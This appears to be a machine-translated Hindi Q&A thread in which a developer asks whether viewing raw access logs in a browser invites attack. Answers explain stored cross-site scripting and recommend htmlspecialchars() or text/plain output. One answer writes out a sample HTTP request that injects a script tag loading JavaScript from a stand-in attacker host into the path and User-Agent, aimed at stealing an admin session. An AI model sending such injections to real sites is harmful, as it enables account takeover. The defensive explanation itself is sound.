2009-06-26 5 views
5

क्या वेब ब्राउजर के माध्यम से sanitizing के बिना एक्सेस लॉग देखना खतरनाक बात है?क्या वेब ब्राउजर के माध्यम से sanitizing के बिना एक्सेस लॉग देखना खतरनाक बात है?

मैं पहुँच लॉग रिकॉर्ड करने के लिए विचार कर रहा हूँ, और मैं wev ब्राउज़र के माध्यम से इसे देखने के लिए पर विचार कर रहा हूँ, लेकिन अगर हमलावर अपने दूरस्थ होस्ट या उपयोगकर्ता एजेंट या कुछ को संशोधित करता है, वह मेरे पास हमला कर सकते हैं?

अपने रिमोट होस्ट या उपयोगकर्ता एजेंट या ect में हमलावर कोड डालने से।

तो क्या मुझे वेब ब्राउज़र के माध्यम से एक्सेस लॉग फ़ाइल खोलने से पहले htmlspecialchar द्वारा sanitize करने की आवश्यकता है?

मेरा मतलब है कि हमलावर उसके दूरस्थ होस्ट या उपयोगकर्ता एजेंट या someware में कुछ हमला कोड डालें तो मुझे लगता है कि वेब ब्राउज़र के माध्यम का उपयोग लॉग, फिर मेरे पीसी कि कोड प्रभावित हो जाएगा।

उत्तर

3

आप शायद कुछ html उत्पादन के लिए स्वरूपण चाहते हैं और इसलिए स्वच्छ/लॉग डेटा सांकेतिक शब्दों में बदलना करने के लिए है। लेकिन तर्कों के लिए: यदि आप आउटपुट को टेक्स्ट/सादा के रूप में भेजते हैं तो क्लाइंट को किसी भी एचटीएमएल/जावास्क्रिप्ट को पार्स नहीं करना चाहिए।
उदा।

<?php 
header('Content-type: text/plain; charset=utf-8'); 
echo '<script>alert(document.URL);</script>';
का आउटपुट
<script>alert(document.URL);</script>
(कम से कम एफएफ 3, आईई 8, ओपेरा, सफारी में) के रूप में प्रदर्शित होता है।

+1

हाँ, धन्यवाद। फिर मैं लॉग फ़ाइल एक्सटेंशन को "txt" के रूप में बेहतर बनाता हूं, इसलिए मैं सुरक्षित हूं। –

+0

मेरा मतलब है "log.txt" सुरक्षित है, लेकिन "log.html" खतरे है। –

+0

यदि "log.txt" वास्तव में समाधान है तो "php php5" के रूप में टैग किया गया प्रश्न क्यों है? – VolkerK

4

सैद्धांतिक रूप से यह संभव है, हाँ, और आप सही मानसिकता इसके बारे में लगता है कि जिस तरह से करने के लिए अपने आप को हूं चाहिए। किसी वेब-ब्राउज़र में इसे प्रदर्शित करने से पहले किसी भी अनियंत्रित इनपुट को स्वच्छ करना हमेशा एक अच्छा विचार है।

मैं htmlspecialchars() के माध्यम से लॉग उत्पादन चलाना शामिल है।

5

हां, यह खतरनाक है।

उदाहरण के लिए, एक दुर्भावनापूर्ण उपयोगकर्ता बस कुछ इस तरह का अनुरोध कर सकते हैं:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1 
Host: www.example.com 
Connection: close 
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script> 

और दुर्भावनापूर्ण जावास्क्रिप्ट के साथ अपने दृश्य पेज समझौता।

आप शायद अपनी साइट पर लॉग देखी जा रही के बाद से, आपके पास व्यवस्थापकीय अधिकार के साथ एक खाते के रूप में लॉग इन करना होगा। दुर्भावनापूर्ण जावास्क्रिप्ट के साथ, हमलावर अपने सत्र कुकी

तो, अंत में, आप निश्चित रूप से भागने पहुँच लॉग पृष्ठों चाहिए चोरी और सब बातों लॉग इन रहते हुए आप कर सकते हैं के साथ अपने सत्र, पूर्ण अपने हाथ में ले सकता है।, जब तक आपको अपने प्रशासनिक खातों से समझौता करना पसंद है।

+0

यूप। मैंने अपने सर्वर लॉग में इस तरह की चीजों पर प्रयासों को देखा है, इसलिए मैं वेब पेज में उनमें से किसी भी हिस्से को देखने से पहले स्क्रिप्ट को स्वच्छ करता हूं। –

संबंधित मुद्दे